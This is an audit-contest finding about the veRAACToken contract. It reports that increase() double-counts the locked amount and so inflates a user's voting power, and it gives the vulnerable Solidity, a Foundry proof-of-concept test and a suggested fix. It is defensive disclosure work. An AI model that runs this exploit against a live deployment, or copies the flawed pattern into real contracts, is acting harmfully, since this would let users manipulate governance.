Core Contracts

Regnum Aurum Acquisition Corp
HardhatReal World AssetsNFT
77,280 USDC
View results
Submission Details
Severity: high
Valid

user voting power can be inflated

Summary

A malicious voter can inflate their voting power by calling veRAACToken.increase()

Vulnerability Details

The veRAACToken contract lets users lock RAAC tokens for a period. In return, they receive “voting power” proportional to both the amount locked and the duration

function increase(uint256 amount) external nonReentrant whenNotPaused {
// Increase lock using LockManager
_lockState.increaseLock(msg.sender, amount);
_updateBoostState(msg.sender, locks[msg.sender].amount);
// Update voting power
LockManager.Lock memory userLock = _lockState.locks[msg.sender];
(int128 newBias, int128 newSlope) = _votingState.calculateAndUpdatePower(
msg.sender,
@>> userLock.amount + amount,
userLock.end
);
// Update checkpoints
uint256 newPower = uint256(uint128(newBias));
_checkpointState.writeCheckpoint(msg.sender, newPower);
// Transfer additional tokens and mint veTokens
raacToken.safeTransferFrom(msg.sender, address(this), amount);
_mint(msg.sender, newPower - balanceOf(msg.sender));
emit LockIncreased(msg.sender, amount);
}

The function above allows users who have locked their tokens to increase their voting power
.The issue is that, at the part marked @>>, instead of computing only the incremental additional power from the new amount, the function recalculates the new voting power using the new amount and then effectively adds that result on top of the previously credited locked amount.

Proof Of Concept

See how to intigrate foundry to hardhat project
. Create a new file POC.t.sol in project /test/ folder . Paste the poc and run forge test --mt test_POC

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.19;
import "forge-std/Test.sol";
import "contracts/core/tokens/veRAACToken.sol";
import "contracts/mocks/core/tokens/ERC20Mock.sol";
contract Audit_Test is Test {
veRAACToken public veToken;
ERC20Mock public raacToken;
address owner = makeAddr("owner");
address user = makeAddr("user");
uint256 constant MIN_LOCK_DURATION = 365 days;
uint256 constant MAX_LOCK_DURATION = 1460 days;
uint256 constant INITIAL_MINT = 1_000_000 ether;
uint256 constant BOOST_WINDOW = 7 days;
uint256 constant MAX_BOOST = 25000; // 2.5x
uint256 constant MIN_BOOST = 10000; // 1x
function setUp() public {
vm.startPrank(owner);
// Deploy Mock RAAC Token
raacToken = new ERC20Mock("RAAC Token", "RAAC");
// Deploy veRAACToken
veToken = new veRAACToken(address(raacToken));
vm.stopPrank();
}
function test_POC() public {
uint256 amount = 100;
uint256 duration = 365 days;
raacToken.mint(user, 200);
vm.startPrank(user);
raacToken.approve(address(veToken), 200);
uint256 unlockTime = block.timestamp + duration;
uint256 time = unlockTime - block.timestamp;
uint256 initialPower = (amount * time) / 1460 days;
int128 bias = int128(int256(initialPower));
uint256 newPower = uint256(uint128(bias));
uint256 timestampBefore = block.timestamp;
// lock amoount 100
veToken.lock(amount, duration);
// user gets 25 voting power
assertEq(veToken.balanceOf(user) , 25);
// increase same amount (100)
veToken.increase(amount);
// user gets inflated voting power (75)
assertEq(veToken.balanceOf(user) ,75) ;
assertEq(veToken.getVotingPower(user), 75);
vm.stopPrank();
}
}

Impact

User voting power will be inflated

Tools Used

Manual Review

Recommendations

function increase(uint256 amount) external nonReentrant whenNotPaused {
'''
(int128 newBias, int128 newSlope) = _votingState.calculateAndUpdatePower(
msg.sender,
- userLock.amount + amount,
+ amount
userLock.end
);
'''
Updates

Lead Judging Commences

inallhonesty Lead Judge 3 months ago
Submission Judgement Published
Validated
Assigned finding tags:

veRAACToken::increase doubles the voting power of users

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.